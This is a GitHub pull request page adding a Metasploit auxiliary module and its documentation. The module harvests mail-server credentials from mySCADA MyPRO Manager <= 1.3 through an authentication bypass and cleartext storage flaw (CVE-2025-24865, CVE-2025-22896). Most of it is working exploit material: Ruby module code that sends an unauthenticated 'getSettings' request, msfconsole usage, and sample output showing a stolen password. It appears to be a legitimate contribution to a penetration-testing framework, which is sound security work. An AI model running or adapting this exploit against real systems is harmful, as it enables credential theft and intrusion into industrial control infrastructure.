-
Notifications
You must be signed in to change notification settings - Fork 14.2k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
mySCADA MyPRO Manager Credential Harvester (CVE-2025-24865 & CVE-2025-22896) Module #19878
Open
h4x-x0r
wants to merge
4
commits into
rapid7:master
Choose a base branch
from
h4x-x0r:CVE-2025-24865
base: master
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
+184
−0
Open
Changes from 2 commits
Commits
Show all changes
4 commits
Select commit
Hold shift + click to select a range
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
64 changes: 64 additions & 0 deletions
64
documentation/modules/auxiliary/admin/scada/mypro_mgr_creds.md
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,64 @@ | ||
## Vulnerable Application | ||
|
||
**Vulnerability Description** | ||
|
||
This module exploits two vulnerabilities (CVE-2025-24865 & CVE-2025-22896) in mySCADA MyPRO Manager <= v1.3 to retrieve the configured | ||
credentials for the mail server. | ||
|
||
The administrative web interface has certain features where credentials are required to be accessed, but the implementation is flawed, | ||
allowing to bypass the requirement. Other important administrative features do not require credentials at all, allowing an unauthenticated | ||
remote attacker to perform privileged actions. These issues are tracked through CVE-2025-24865. | ||
Another vulnerability, tracked through CVE-2025-22896, is related to the cleartext storage of various credentials by the application. | ||
|
||
One way how these issues can be exploited is to allow an unauthenticated remote attacker to retrieve the cleartext credentials of the mail | ||
server that is configured by the product, which this module does. | ||
|
||
Versions <= 1.3 are affected. CISA published [ICSA-25-044-16](https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16) to cover | ||
the security issues. | ||
|
||
**Vulnerable Application Installation** | ||
|
||
A trial version of the software can be obtained from [the vendor](https://www.myscada.org/mypro/). | ||
|
||
**Successfully tested on** | ||
|
||
- mySCADA MyPRO Manager 1.3 on Windows 11 (22H2) | ||
|
||
## Verification Steps | ||
|
||
1. Install the application | ||
2. After installation, reboot the system and wait some time until a runtime (e.g., 9.2.1) has been fetched and installed. | ||
3. Start `msfconsole` and run the following commands: | ||
|
||
``` | ||
msf6 > use auxiliary/admin/scada/mypro_mgr_creds | ||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > set RHOSTS <IP> | ||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run | ||
``` | ||
|
||
## Scenarios | ||
|
||
Running the module against MyPRO Manager v1.3 on Windows 11, should result in an output similar to the | ||
following: | ||
|
||
``` | ||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > run | ||
[*] Running module against 192.168.1.78 | ||
|
||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. | ||
[+] Mail server credentials retrieved: | ||
[+] Host: smtp.example.com | ||
[+] Port: 993 | ||
[+] Auth Type: login | ||
[+] User: user | ||
[+] Password: SuperS3cr3t! | ||
[*] Auxiliary module execution completed | ||
msf6 auxiliary(admin/scada/mypro_mgr_creds) > creds | ||
Credentials | ||
=========== | ||
|
||
host origin service public private realm private_type JtR Format cracked_password | ||
---- ------ ------- ------ ------- ----- ------------ ---------- ---------------- | ||
192.168.1.78 192.168.1.78 34022/tcp (http) user SuperS3cr3t! Password | ||
``` |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,121 @@ | ||
class MetasploitModule < Msf::Auxiliary | ||
include Msf::Exploit::Remote::HttpClient | ||
prepend Msf::Exploit::Remote::AutoCheck | ||
CheckCode = Exploit::CheckCode | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'mySCADA myPRO Manager Credential Harvester (CVE-2025-24865 and CVE-2025-22896)', | ||
'Description' => %q{ | ||
Credential Harvester in MyPRO Manager <= v1.3 from mySCADA. | ||
The product suffers from a broken authentication vulnerability (CVE-2025-24865) for certain functions. One of them is the configuration page for notifications, which returns the cleartext credentials (CVE-2025-22896) before correctly veryfing that the associated request is coming from an authenticated and authorized entity. | ||
}, | ||
'License' => MSF_LICENSE, | ||
'Author' => ['Michael Heinzl'], # Vulnerability discovery & MSF module | ||
'References' => [ | ||
[ 'URL', 'https://www.cisa.gov/news-events/ics-advisories/icsa-25-044-16'], | ||
[ 'CVE', '2025-24865'], | ||
[ 'CVE', '2025-22896'] | ||
], | ||
'DisclosureDate' => '2025-02-13', | ||
'DefaultOptions' => { | ||
'RPORT' => 34022, | ||
'SSL' => 'False' | ||
}, | ||
'Platform' => 'win', | ||
'Arch' => [ ARCH_CMD ], | ||
'Targets' => [ | ||
[ | ||
'Windows_Fetch', | ||
{ | ||
'Arch' => [ ARCH_CMD ], | ||
'Platform' => 'win', | ||
'DefaultOptions' => { 'FETCH_COMMAND' => 'CURL' }, | ||
'Type' => :win_fetch | ||
} | ||
] | ||
], | ||
'DefaultTarget' => 0, | ||
|
||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
register_options( | ||
[ | ||
OptString.new( | ||
'TARGETURI', | ||
[ true, 'The URI for the MyPRO Manager web interface', '/' ] | ||
) | ||
] | ||
) | ||
end | ||
|
||
def check | ||
begin | ||
res = send_request_cgi({ | ||
'method' => 'GET', | ||
'uri' => normalize_uri(target_uri.path, 'assets/index-DBkpc6FO.js') | ||
}) | ||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError | ||
return CheckCode::Unknown | ||
end | ||
|
||
if res.to_s =~ /const S="([^"]+)"/ | ||
version = ::Regexp.last_match(1) | ||
vprint_status('Version retrieved: ' + version) | ||
if Rex::Version.new(version) <= Rex::Version.new('1.3') | ||
h4x-x0r marked this conversation as resolved.
Show resolved
Hide resolved
|
||
return CheckCode::Appears | ||
end | ||
|
||
return CheckCode::Safe | ||
end | ||
return CheckCode::Unknown | ||
end | ||
|
||
def run | ||
post_data = { | ||
'command' => 'getSettings' | ||
} | ||
|
||
res = send_request_cgi({ | ||
'method' => 'POST', | ||
'ctype' => 'application/json', | ||
'data' => JSON.generate(post_data), | ||
'uri' => normalize_uri(target_uri.path, 'get') | ||
}) | ||
|
||
if res&.code == 200 | ||
print_good('Mail server credentials retrieved:') | ||
|
||
data = JSON.parse(res.body) | ||
h4x-x0r marked this conversation as resolved.
Show resolved
Hide resolved
|
||
if data.key?('smtp') && data['smtp'].is_a?(Hash) | ||
smtp_info = data['smtp'] | ||
|
||
host = smtp_info.fetch('host', 'Unknown Host') | ||
port = smtp_info.fetch('port', 'Unknown Port') | ||
auth = smtp_info.fetch('auth', 'Unknown Auth') | ||
user = smtp_info.fetch('user', 'Unknown User') | ||
passw = smtp_info.fetch('pass', 'Unknown Password') | ||
|
||
print_good("Host: #{host}") | ||
print_good("Port: #{port}") | ||
print_good("Auth Type: #{auth}") | ||
print_good("User: #{user}") | ||
print_good("Password: #{passw}") | ||
|
||
store_valid_credential(user: user, private: passw, proof: data.to_s) | ||
|
||
else | ||
print_error('Unexpected or no reply received.') | ||
end | ||
end | ||
end | ||
|
||
end |
Oops, something went wrong.
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Is this version specific or mutable?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
It is version specific.